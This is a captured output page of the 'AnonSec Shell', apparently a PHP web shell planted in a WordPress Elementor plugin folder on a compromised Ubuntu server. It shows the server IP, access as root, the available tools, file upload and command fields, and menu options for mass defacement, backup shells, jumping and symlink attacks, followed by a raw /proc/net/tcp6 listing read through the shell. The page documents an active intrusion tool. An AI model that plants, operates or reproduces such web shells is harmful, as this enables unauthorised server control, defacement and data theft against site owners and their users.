AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.128   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/elementor/anon_sym/anon/proc/10/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/wp-content/plugins/elementor/anon_sym/anon/proc/10/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2962179 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3759423935 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3759423939 2 0000000000000000 100 0 0 10 0
   3: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:725C 06 00000000:00000000 03:0000134E 00000000     0        0 0 3 0000000000000000
   4: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF00002C9237D8:B942 06 00000000:00000000 03:00000621 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:9CF9 06 00000000:00000000 03:00000931 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:15F5 01 00000000:00000000 02:000AF94D 00000000    33        0 756919864 2 0000000000000000 26 4 10 226 -1
   7: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF0000ADCFAB14:CB16 01 00000000:00000000 02:000AECC3 00000000    33        0 756863192 2 0000000000000000 22 4 31 10 -1
   8: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:05B6 06 00000000:00000000 03:00001667 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:9FE1 06 00000000:00000000 03:00001333 00000000     0        0 0 3 0000000000000000
  10: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:74DC 06 00000000:00000000 03:0000133B 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:E8A5 06 00000000:00000000 03:0000016A 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:C441 01 00000000:00000000 02:000AF676 00000000    33        0 756909796 3 0000000000000000 26 4 27 10 -1
  13: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:CD12 06 00000000:00000000 03:0000084F 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF0000C2CFAB14:969A 01 00000000:00000000 02:000AF4BF 00000000    33        0 756902584 2 0000000000000000 22 4 31 10 -1
  15: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:211A 06 00000000:00000000 03:0000015F 00000000     0        0 0 3 0000000000000000
  16: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:B4C9 06 00000000:00000000 03:00001656 00000000     0        0 0 3 0000000000000000
  17: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:8A22 06 00000000:00000000 03:0000021C 00000000     0        0 0 3 0000000000000000
  18: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:10AF 01 00000000:00000000 02:000AF952 00000000    33        0 756919888 3 0000000000000000 26 4 31 24 -1
  19: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:8FF4 06 00000000:00000000 03:00000156 00000000     0        0 0 3 0000000000000000
  20: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:9EFF 06 00000000:00000000 03:00001321 00000000     0        0 0 3 0000000000000000
  21: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF00002C9237D8:D96C 03 00000000:00000000 01:0000017A 00000002     0        0 0 0 0000000000000000
  22: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF0000D1967772:D8EF 06 00000000:00000000 03:00000CE6 00000000     0        0 0 3 0000000000000000
  23: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:DD56 01 00000000:00000000 02:000AF65C 00000000    33        0 756909445 2 0000000000000000 26 4 0 348 -1
  24: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF00002C9237D8:C514 06 00000000:00000000 03:00000054 00000000     0        0 0 3 0000000000000000
  25: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:6F3C 06 00000000:00000000 03:00001344 00000000     0        0 0 3 0000000000000000
  26: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:8808 06 00000000:00000000 03:00000172 00000000     0        0 0 3 0000000000000000
  27: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:9482 06 00000000:00000000 03:0000093C 00000000     0        0 0 3 0000000000000000
  28: 0000000000000000FFFF0000AD9C26D1:01BB 0000000000000000FFFF000080D849D8:710D 06 00000000:00000000 03:00000661 00000000     0        0 0 3 0000000000000000

Anon7 - 2022
AnonSec Team